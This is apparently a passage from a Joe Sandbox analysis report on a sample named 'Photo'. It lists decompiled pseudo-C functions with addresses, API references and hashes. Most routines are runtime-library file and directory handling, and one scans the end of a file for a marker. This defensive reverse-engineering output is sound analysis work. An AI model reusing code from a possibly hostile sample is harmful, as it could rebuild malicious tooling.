										_t86 = E001E2D7A( &_v24, _t120, _t116, _v12);
										goto L17;
									}
									__eflags = _t87 != 1;
									if(_t87 != 1) {
										goto L34;
									}
									_t86 = E001E2C8C( &_v24, _t120, _t116, _v12);
									goto L17;
								} else {
									__eflags = _t102;
									if(_t102 == 0) {
										_t86 = E001E2917( &_v24, _t120, _t116, _v12);
										L17:
										L15:
										L28:
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t74 = _v40;
										__eflags = _t74;
										if(_t74 != 0) {
											_t75 = _t74 - _v36;
											__eflags = _t75;
											L40:
											L41:
											E001D7760();
											return _t75;
										}
										_t76 = _v44;
										__eflags = _t76;
										if(_t76 == 0) {
											_t116 = _v52;
											L34:
											_t112 = _v28;
											_t78 =  *((intOrPtr*)(0x20a118 + _v32 * 4));
											__eflags =  *(_t78 + _t112 + 0x28) & 0x00000040;
											if(( *(_t78 + _t112 + 0x28) & 0x00000040) == 0) {
												L37:
												 *((intOrPtr*)(E001DCB3C())) = 0x1c;
												_t80 = E001DCB29();
												 *_t80 =  *_t80 & 0x00000000;
												__eflags =  *_t80;
												L38:
												_t75 = _t80 | 0xffffffff;
												goto L40;
											}
											__eflags =  *_t116 - 0x1a;
											if( *_t116 != 0x1a) {
												goto L37;
											}
											_t75 = 0;
											goto L40;
										}
										_t123 = 5;
										__eflags = _t76 - _t123;
										if(_t76 != _t123) {
											_t80 = E001DCB06(_t76);
										} else {
											 *((intOrPtr*)(E001DCB3C())) = 9;
											_t80 = E001DCB29();
											 *_t80 = _t123;
										}
										goto L38;
									}
									__eflags = _t102 - 1 - 1;
									if(_t102 - 1 > 1) {
										goto L34;
									}
									E001E2ACA( &_v24, _t116, _v12);
									goto L15;
								}
							}
							 *(E001DCB29()) =  *_t94 & 0x00000000;
							 *((intOrPtr*)(E001DCB3C())) = 0x16;
							_t80 = E001E1691();
							goto L38;
						}
						__eflags = _t102 - 1;
						if(_t102 != 1) {
							goto L9;
						}
						goto L6;
					}
					 *(E001DCB29()) =  *_t96 & _t116;
					 *((intOrPtr*)(E001DCB3C())) = 0x16;
					_t75 = E001E1691() | 0xffffffff;
					goto L41;
				}
				_t75 = 0;
				goto L41;
			}

0x001e2f9a
0x001e2fa1
0x001e2fa4
0x001e2fa7
0x001e2fab
0x001e2faf
0x001e2fb2
0x001e2fb7
0x001e2fc0
0x001e2fc2
0x001e2fe8
0x001e2fee
0x001e2ff1
0x001e2ff4
0x001e2ffb
0x001e2ffe
0x001e3001
0x001e3005
0x001e3008
0x001e300f
0x001e3011
0x001e3013
0x001e3015
0x001e3034
0x001e3037
0x001e3037
0x001e303c
0x001e3045
0x001e304a
0x001e304a
0x001e304e
0x001e3054
0x001e3056
0x001e3094
0x001e309b
0x001e309e
0x001e30a3
0x001e30f2
0x001e30f5
0x001e30f8
0x001e3104
0x001e310a
0x001e310c
0x001e3114
0x001e3114
0x00000000
0x001e3117
0x001e30a8
0x001e30a8
0x001e30ab
0x001e30e4
0x00000000
0x001e30e4
0x001e30ad
0x001e30ad
0x001e30b0
0x001e30d4
0x00000000
0x001e30d4
0x001e30b2
0x001e30b5
0x00000000
0x00000000
0x001e30c4
0x00000000
0x001e3058
0x001e3058
0x001e305a
0x001e3087
0x001e308c
0x001e3077
0x001e311a
0x001e311d
0x001e311e
0x001e311f
0x001e3120
0x001e3123
0x001e3125
0x001e318a
0x001e318a
0x001e318d
0x001e318e
0x001e3195
0x001e319d
0x001e319d
0x001e3127
0x001e312a
0x001e312c
0x001e3152
0x001e3155
0x001e3158
0x001e315b
0x001e3162
0x001e3167
0x001e3172
0x001e3177
0x001e317d
0x001e3182
0x001e3182
0x001e3185
0x001e3185
0x00000000
0x001e3185
0x001e3169
0x001e316c
0x00000000
0x00000000
0x001e316e
0x00000000
0x001e316e
0x001e3130
0x001e3131
0x001e3133
0x001e314a
0x001e3135
0x001e313a
0x001e3140
0x001e3145
0x001e3145
0x00000000
0x001e3133
0x001e305e
0x001e3061
0x00000000
0x00000000
0x001e306f
0x00000000
0x001e3074
0x001e3056
0x001e301c
0x001e3024
0x001e302a
0x00000000
0x001e302a
0x001e300a
0x001e300d
0x00000000
0x00000000
0x00000000
0x001e300d
0x001e2fc9
0x001e2fd0
0x001e2fdb
0x00000000
0x001e2fdb
0x001e2fb9
0x00000000

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d56baf6b609cfd78eaa0712a4cba8293eed22143562417c4c3a10fcb8b1deb8
Instruction ID: 575ae25b4a03577f66b395aed5729f56d1d5659a429790457343185f9b24a6af
Opcode Fuzzy Hash: 7d56baf6b609cfd78eaa0712a4cba8293eed22143562417c4c3a10fcb8b1deb8
Instruction Fuzzy Hash: C451C471D0068AABCF159FA6CC4AFAEBBB8AF55310F14011AF414A7292D7719A01CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001E17FD Relevance: 4.6, APIs: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001E17FD(void* __eflags, signed int _a4) {
				intOrPtr _t13;
				int _t15;
				void* _t21;
				signed int _t33;
				long _t35;

				_t33 = _a4;
				if(E001DEA89(_t33) != 0xffffffff) {
					_t13 =  *0x20a118; // 0x799898
					if(_t33 != 1 || ( *(_t13 + 0x88) & 0x00000001) == 0) {
						if(_t33 != 2 || ( *(_t13 + 0x58) & 0x00000001) == 0) {
							goto L7;
						} else {
							goto L6;
						}
					} else {
						L6:
						_t21 = E001DEA89(2);
						if(E001DEA89(1) == _t21) {
							goto L1;
						}
						L7:
						_t15 = FindCloseChangeNotification(E001DEA89(_t33)); // executed
						if(_t15 != 0) {
							goto L1;
						}
						_t35 = GetLastError();
						L9:
						E001DE9F8(_t33);
						 *((char*)( *((intOrPtr*)(0x20a118 + (_t33 >> 6) * 4)) + 0x28 + (_t33 & 0x0000003f) * 0x30)) = 0;
						if(_t35 == 0) {
							return 0;
						}
						return E001DCB06(_t35) | 0xffffffff;
					}
				}
				L1:
				_t35 = 0;
				goto L9;
			}

0x001e1804
0x001e1811
0x001e1817
0x001e181f
0x001e182d
0x00000000
0x00000000
0x00000000
0x00000000
0x001e1835
0x001e1835
0x001e1837
0x001e1849
0x00000000
0x00000000
0x001e184b
0x001e1853
0x001e185b
0x00000000
0x00000000
0x001e1863
0x001e1865
0x001e1866
0x001e187e
0x001e1885
0x00000000
0x001e1893
0x00000000
0x001e188e
0x001e181f
0x001e1813
0x001e1813
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,001E171B,?), ref: 001E1853
GetLastError.KERNEL32(?,001E171B,?), ref: 001E185D
__dosmaperr.LIBCMT ref: 001E1888

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 89e4cdc11aaa2511c4f7f484fd186b837a509ca2c3a474eeed2a445dbba4d3ca
Instruction ID: 00b00b3bca8f97e49644f4243402ae82818530a685e9ae5cbf52adee780af426
Opcode Fuzzy Hash: 89e4cdc11aaa2511c4f7f484fd186b837a509ca2c3a474eeed2a445dbba4d3ca
Instruction Fuzzy Hash: FF014E336006A03AD62562B5B846F7D6B895FA2775F29022BF81CDB2D2DF348C818191

Uniqueness

Uniqueness Score: -1.00%

Function 001E2675 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E001E2675(void* __ecx, void* __eflags, signed int _a4, union _LARGE_INTEGER _a8, union _LARGE_INTEGER* _a12, intOrPtr _a16) {
				signed int _v8;
				void* _v12;
				void* _t15;
				int _t16;
				signed int _t19;
				signed int _t32;
				signed int _t33;
				signed int _t36;

				_t36 = _a4;
				_push(_t32);
				_t15 = E001DEA89(_t36);
				_t33 = _t32 | 0xffffffff;
				if(_t15 != _t33) {
					_push(_a16);
					_t16 = SetFilePointerEx(_t15, _a8, _a12,  &_v12); // executed
					if(_t16 != 0) {
						if((_v12 & _v8) == _t33) {
							goto L2;
						} else {
							_t19 = _v12;
							_t39 = (_t36 & 0x0000003f) * 0x30;
							 *( *((intOrPtr*)(0x20a118 + (_t36 >> 6) * 4)) + _t39 + 0x28) =  *( *((intOrPtr*)(0x20a118 + (_t36 >> 6) * 4)) + 0x28 + (_t36 & 0x0000003f) * 0x30) & 0x000000fd;
						}
					} else {
						E001DCB06(GetLastError());
						goto L2;
					}
				} else {
					 *((intOrPtr*)(E001DCB3C())) = 9;
					L2:
					_t19 = _t33;
				}
				return _t19;
			}

0x001e267d
0x001e2680
0x001e2682
0x001e2687
0x001e268d
0x001e26a0
0x001e26ae
0x001e26b6
0x001e26d1
0x00000000
0x001e26d3
0x001e26d3
0x001e26de
0x001e26e8
0x001e26e8
0x001e26b8
0x001e26bf
0x00000000
0x001e26c4
0x001e268f
0x001e2694
0x001e269a
0x001e269a
0x001e269c
0x001e26f2

APIs

SetFilePointerEx.KERNELBASE(00000000,00000000,00000002,?,00000000,?,00000000,?,?,?,001E2724,?,00000000,00000002,00000000), ref: 001E26AE
GetLastError.KERNEL32(?,001E2724,?,00000000,00000002,00000000,?,001E304A,00000000,00000000,00000000,00000002,00000000,?,00000000), ref: 001E26B8
__dosmaperr.LIBCMT ref: 001E26BF

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: 6d47f4fc2e90d5d4352edfe429e2b9cd03ff1345970a62d9b92f35d0f78c8ac0
Instruction ID: 5878ed64734d12342b6c753e0b55ce4d629dd1695ac1a0badaf924d4748ab339
Opcode Fuzzy Hash: 6d47f4fc2e90d5d4352edfe429e2b9cd03ff1345970a62d9b92f35d0f78c8ac0
Instruction Fuzzy Hash: 39014C326105556FCB059FAADC16DAE7B2DEB89320B240305FC148B290EB71DD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001DE371 Relevance: 4.5, APIs: 3, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001DE371(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 != 0) {
					return 0;
				} else {
					return E001DCB06(GetLastError()) | 0xffffffff;
				}
			}

0x001de37b
0x001de383
0x001de39a
0x001de385
0x001de396
0x001de396

APIs

CreateDirectoryW.KERNELBASE(?,00000000), ref: 001DE37B
GetLastError.KERNEL32 ref: 001DE385
__dosmaperr.LIBCMT ref: 001DE38C

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: CreateDirectoryErrorLast__dosmaperr
String ID:
API String ID: 42539052-0
Opcode ID: 7d04a09d2244426b1a977f3389c5d166bf583a3bdb502184f169f4cf64e15dc8
Instruction ID: a6a6328ab7f9fc8117584071ebbd974b4de363d8ccdbdd9b3a2151d509c9a6d6
Opcode Fuzzy Hash: 7d04a09d2244426b1a977f3389c5d166bf583a3bdb502184f169f4cf64e15dc8
Instruction Fuzzy Hash: A0D0C9321442087BDB612BF5AC0AF2A3F5CAB857B5F140612F52DC96E1DF31D890D654

Uniqueness

Uniqueness Score: -1.00%

Function 001DF0D3 Relevance: 4.5, APIs: 3, Instructions: 17
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E001DF0D3(WCHAR* _a4) {
				int _t2;

				_t2 = DeleteFileW(_a4); // executed
				if(_t2 != 0) {
					return 0;
				} else {
					return E001DCB06(GetLastError()) | 0xffffffff;
				}
			}

0x001df0db
0x001df0e3
0x001df0fa
0x001df0e5
0x001df0f6
0x001df0f6

APIs

DeleteFileW.KERNELBASE(?,?,001D465C,?,?,?), ref: 001DF0DB
GetLastError.KERNEL32(?,?), ref: 001DF0E5
__dosmaperr.LIBCMT ref: 001DF0EC

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID:
API String ID: 1545401867-0
Opcode ID: d32c9691a7e212f43930506391a4beb7f7a90f4c45a07e40a3f9c55cb5ec6e3b
Instruction ID: db4af77b09cebecee7b3b0f70f81d4677555a70b98914abf5e163a19dba62c3a
Opcode Fuzzy Hash: d32c9691a7e212f43930506391a4beb7f7a90f4c45a07e40a3f9c55cb5ec6e3b
Instruction Fuzzy Hash: 64D012322042086BCB116BF5BC099263B5D9F953B43100626F42DC56A2DF31C8D1D651

Uniqueness

Uniqueness Score: -1.00%

Function 001DE39B Relevance: 4.5, APIs: 3, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001DE39B(WCHAR* _a4) {
				int _t2;

				_t2 = RemoveDirectoryW(_a4); // executed
				if(_t2 != 0) {
					return 0;
				} else {
					return E001DCB06(GetLastError()) | 0xffffffff;
				}
			}

0x001de3a3
0x001de3ab
0x001de3c2
0x001de3ad
0x001de3be
0x001de3be

APIs

RemoveDirectoryW.KERNELBASE(001D42F4,?,001D42F4,?), ref: 001DE3A3
GetLastError.KERNEL32(?,001D42F4,?), ref: 001DE3AD
__dosmaperr.LIBCMT ref: 001DE3B4

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: DirectoryErrorLastRemove__dosmaperr
String ID:
API String ID: 4061612599-0
Opcode ID: ecc85cf8e30dd58401daa14679b2e4ec609e11179c06557e9a8c3bedbffe4fff
Instruction ID: 7305f28e34ffd9757bd83ba29e3480b10d9bff2005230ae7c7fc17f8b4a9c006
Opcode Fuzzy Hash: ecc85cf8e30dd58401daa14679b2e4ec609e11179c06557e9a8c3bedbffe4fff
Instruction Fuzzy Hash: FDD01232104108BBCF512BF6FC0AD2A3B5CAB853B53104612F42DC56E1DF32C891D650

Uniqueness

Uniqueness Score: -1.00%

Function 001DEF21 Relevance: 3.1, APIs: 2, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E001DEF21(signed int** __edx, void* __eflags) {
				signed int* _t26;
				int _t31;
				intOrPtr* _t32;
				void* _t36;
				intOrPtr _t38;
				signed int* _t40;
				int _t41;
				void* _t42;
				intOrPtr _t55;
				signed int _t57;
				intOrPtr* _t59;
				void* _t61;
				void* _t62;

				_t54 = __edx;
				E001D8270(__edx, 0x1fa3d0, 0x18);
				_t40 =  *(_t62 + 0xc);
				if(_t40 == 4 || _t40 == 3) {
					_push( *((intOrPtr*)(_t62 + 8)));
					goto L34;
				} else {
					_t55 =  *((intOrPtr*)(_t62 + 8));
					if(_t55 == 2 || _t55 == 0x15 || _t55 == 0x16 || _t55 == 6 || _t55 == 0xf) {
						_t41 = 0;
						 *((char*)(_t62 - 0x19)) = 0;
						 *(_t62 - 0x28) = 0;
						 *(_t62 - 0x20) = 0;
						E001E60D8(3);
						 *((intOrPtr*)(_t62 - 4)) = 0;
						if(_t55 == 2 || _t55 == 0x15) {
							if( *0x209ea0 == 0) {
								_t31 = SetConsoleCtrlHandler(E001DEB75, 1); // executed
								if(_t31 == 0) {
									_t32 = E001DCB29();
									 *_t32 = GetLastError();
									_t41 = 1;
									 *((char*)(_t62 - 0x19)) = 1;
								} else {
									 *0x209ea0 = 1;
								}
							}
						}
						_t26 = E001DEC23(_t55);
						 *(_t62 - 0x28) = _t26;
						if(_t26 != 0) {
							_t57 =  *0x1fc008; // 0x369f4a24
							asm("ror esi, cl");
							 *(_t62 - 0x20) = _t57 ^  *_t26;
							_t29 =  *(_t62 + 0xc);
							if( *(_t62 + 0xc) != 2) {
								 *( *(_t62 - 0x28)) = E001E000F(_t29);
							}
						}
						 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
						E001DF0BB();
						if(_t41 != 0) {
							goto L10;
						} else {
							goto L35;
						}
					} else {
						if(_t55 == 8 || _t55 == 4 || _t55 == 0xb) {
							_t59 = E001E43CB(_t42);
							if(_t59 == 0) {
								goto L10;
							}
							if( *_t59 != 0x1f4f40) {
								L15:
								 *((intOrPtr*)(_t62 - 0x24)) =  *_t59;
								_t36 = E001DEC65(_t55,  *_t59);
								if(_t36 == 0) {
									goto L10;
								}
								_t4 = _t36 + 8; // 0x8
								_t54 = _t4;
								 *(_t62 - 0x28) =  *_t54;
								if(_t40 == 2) {
									L21:
									goto L35;
								}
								_t61 =  *0x1f4fd0 * 0xc +  *((intOrPtr*)(_t62 - 0x24));
								if(_t36 == _t61) {
									goto L21;
								}
								while( *((intOrPtr*)(_t54 - 4)) == _t55) {
									 *_t54 = _t40;
									_t54 =  &(_t54[3]);
									_t8 = _t54 - 8; // -12
									if(_t8 != _t61) {
										continue;
									}
									break;
								}
								goto L21;
							}
							_t38 = E001E0964(_t42,  *0x1f4fd4);
							 *_t59 = _t38;
							if(_t38 == 0) {
								goto L10;
							} else {
								E001D8850(_t38, 0x1f4f40,  *0x1f4fd4);
								goto L15;
							}
						} else {
							L10:
							_push(_t55);
							L34:
							E001DEC8D();
							L35:
							return E001D82B6(_t54);
						}
					}
				}
			}

0x001def21
0x001def28
0x001def2d
0x001def33
0x001df0c4
0x00000000
0x001def42
0x001def42
0x001def48
0x001df008
0x001df00a
0x001df00f
0x001df012
0x001df017
0x001df01d
0x001df023
0x001df031
0x001df03a
0x001df042
0x001df04d
0x001df05a
0x001df05c
0x001df05e
0x001df044
0x001df044
0x001df044
0x001df042
0x001df031
0x001df065
0x001df06d
0x001df072
0x001df074
0x001df081
0x001df083
0x001df086
0x001df08c
0x001df098
0x001df098
0x001df08c
0x001df09a
0x001df0a1
0x001df0a8
0x00000000
0x001df0ae
0x00000000
0x001df0ae
0x001def72
0x001def75
0x001def8c
0x001def90
0x00000000
0x00000000
0x001def98
0x001defc0
0x001defc2
0x001defc7
0x001defd0
0x00000000
0x00000000
0x001defd2
0x001defd2
0x001defd7
0x001defdd
0x001df001
0x00000000
0x001df001
0x001defe6
0x001defeb
0x00000000
0x00000000
0x001defed
0x001deff2
0x001deff4
0x001deff7
0x001deffc
0x00000000
0x00000000
0x00000000
0x001deffc
0x00000000
0x001deffe
0x001defa0
0x001defa6
0x001defaa
0x00000000
0x001defac
0x001defb8
0x00000000
0x001defbd
0x001def81
0x001def81
0x001def81
0x001df0c7
0x001df0c7
0x001df0cd
0x001df0d2
0x001df0d2
0x001def75
0x001def48

APIs

SetConsoleCtrlHandler.KERNELBASE(001DEB75,00000001,001FA3D0,00000018,001D43C0,00000016,00000001,?,?,00001000,001D27BE,?,00000000), ref: 001DF03A
GetLastError.KERNEL32 ref: 001DF054

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ConsoleCtrlErrorHandlerLast
String ID:
API String ID: 3113525192-0
Opcode ID: 1ff55507a171dd0b81e92dd2ef63323eb643695c233af7bceb26b5a38867fcd5
Instruction ID: a991cfd99ea3a95422f5c13433a0398f018f16ab9362f5844d573c365a6b8380
Opcode Fuzzy Hash: 1ff55507a171dd0b81e92dd2ef63323eb643695c233af7bceb26b5a38867fcd5
Instruction Fuzzy Hash: B141E271A003158FCF25AF68D8852AD77A3AB65310F19012FF44AAB362DB319EC1C791

Uniqueness

Uniqueness Score: -1.00%

Function 001DCD28 Relevance: 3.1, APIs: 2, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E001DCD28(WCHAR* _a4, void* _a8) {
				void* _v8;
				void _v56;
				void* __edi;
				signed int _t17;
				void* _t18;
				signed int _t19;
				signed int _t20;
				intOrPtr* _t25;
				signed int _t26;
				signed int _t34;
				signed int _t36;
				void* _t39;
				signed int _t42;
				signed int _t44;
				void* _t45;
				WCHAR* _t49;
				void* _t56;
				intOrPtr _t59;
				void* _t60;
				void* _t62;

				if(_a8 != 0) {
					_push(_t45);
					_t34 = 0;
					E001D8480(_t45,  &_v56, 0, 0x30);
					_t36 = 0xc;
					memcpy(_a8,  &_v56, _t36 << 2);
					_t62 = _t60 + 0x18;
					_t49 = _a4;
					__eflags = _t49;
					if(_t49 != 0) {
						_t17 = E001E5191(_t49, L"?*");
						_pop(_t39);
						__eflags = _t17;
						if(_t17 == 0) {
							_t18 = CreateFileW(_t49, 0x80, 7, 0, 3, 0x2000000, 0); // executed
							_push(_a8);
							_t56 = _t18;
							_v8 = _t56;
							__eflags = _t56 - 0xffffffff;
							if(__eflags == 0) {
								_push(_t49);
								_t19 = E001DCE2F(_t39, _t44, _t49, __eflags);
							} else {
								_push(_t56);
								_push(0xffffffff);
								_push(_t49);
								_t19 = E001DCEBB(_t44);
								_t62 = _t62 + 0x10;
							}
							__eflags = _t19;
							if(_t19 == 0) {
								E001D8480(_t49,  &_v56, _t34, 0x30);
								_t34 = _t34 | 0xffffffff;
								__eflags = _t34;
								_t42 = 0xc;
								memcpy(_a8,  &_v56, _t42 << 2);
								_t56 = _v8;
							}
							__eflags = _t56 - 0xffffffff;
							if(_t56 != 0xffffffff) {
								CloseHandle(_t56);
							}
							_t20 = _t34;
							L15:
							return _t20;
						}
						_t25 = E001DCB3C();
						_t59 = 2;
						 *_t25 = _t59;
						_t26 = E001DCB29();
						 *_t26 = _t59;
						L6:
						_t20 = _t26 | 0xffffffff;
						goto L15;
					}
					 *(E001DCB29()) = 0;
					 *((intOrPtr*)(E001DCB3C())) = 0x16;
					_t26 = E001E1691();
					goto L6;
				}
				 *(E001DCB29()) =  *_t29 & 0x00000000;
				 *((intOrPtr*)(E001DCB3C())) = 0x16;
				return E001E1691() | 0xffffffff;
			}

0x001dcd34
0x001dcd58
0x001dcd5b
0x001dcd62
0x001dcd72
0x001dcd73
0x001dcd73
0x001dcd75
0x001dcd78
0x001dcd7a
0x001dcd9b
0x001dcda1
0x001dcda2
0x001dcda4
0x001dcdcd
0x001dcdd3
0x001dcdd6
0x001dcdd8
0x001dcddb
0x001dcdde
0x001dcdee
0x001dcdef
0x001dcde0
0x001dcde0
0x001dcde1
0x001dcde3
0x001dcde4
0x001dcde9
0x001dcde9
0x001dcdf6
0x001dcdf8
0x001dce01
0x001dce0f
0x001dce0f
0x001dce14
0x001dce15
0x001dce17
0x001dce17
0x001dce1a
0x001dce1d
0x001dce20
0x001dce20
0x001dce26
0x001dce28
0x00000000
0x001dce2a
0x001dcda6
0x001dcdad
0x001dcdae
0x001dcdb0
0x001dcdb5
0x001dcdb7
0x001dcdb7
0x00000000
0x001dcdb7
0x001dcd81
0x001dcd88
0x001dcd8e
0x00000000
0x001dcd8e
0x001dcd3b
0x001dcd43
0x00000000

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f99f94cbeac42b8420ba24898510ae60513ed5d9016d3b98a79a7fe7022db6fd
Instruction ID: 67050af52a3db65f9845b269a2bbcd34092ea651267a06f5ce6d3bd9e5667296
Opcode Fuzzy Hash: f99f94cbeac42b8420ba24898510ae60513ed5d9016d3b98a79a7fe7022db6fd
Instruction Fuzzy Hash: 6731D47290160AAADB116BA4DC42BAF7B2AAF51374F210717F9242B3D1CB705D02D6E1

Uniqueness

Uniqueness Score: -1.00%

Function 001D13D0 Relevance: 3.1, APIs: 2, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E001D13D0(void* __edx, intOrPtr* _a4, intOrPtr _a8) {
				signed int _v4;
				void* _v8;
				char _v92;
				void* _v100;
				char _v104;
				signed int _t12;
				signed int _t14;
				void* _t17;
				void* _t21;
				intOrPtr* _t31;
				char* _t35;
				signed int _t42;
				void* _t43;

				_t42 =  &_v100;
				_t12 =  *0x1fc008; // 0x369f4a24
				_v4 = _t12 ^ _t42;
				_t31 = _a4;
				_t35 =  &_v92;
				_t21 = _a8 + 0xffffffa0;
				_t14 = E001DA069(__edx,  *_t31, _t21, 0); // executed
				_t43 = _t42 + 0xc;
				if(_t14 != 0) {
					L5:
					E001D7760();
					return _t14 | 0xffffffff;
				} else {
					_t14 = E001D9C7E( &_v100, 0x60, 1,  *_t31); // executed
					_t43 = _t43 + 0x10;
					if(_t14 < 1) {
						goto L5;
					} else {
						while(1) {
							_t17 = E001D9600(0x1f0330, _t35, 8);
							_t43 = _t43 + 0xc;
							if(_t17 == 0) {
								break;
							}
							_t35 = _t35 - 1;
							_t14 =  &_v100;
							if(_t35 >= _t14) {
								continue;
							} else {
								goto L5;
							}
							goto L7;
						}
						asm("movups xmm0, [esi]");
						asm("movups [edi+0x10], xmm0");
						asm("movups xmm0, [esi+0x10]");
						asm("movups [edi+0x20], xmm0");
						asm("movups xmm0, [esi+0x20]");
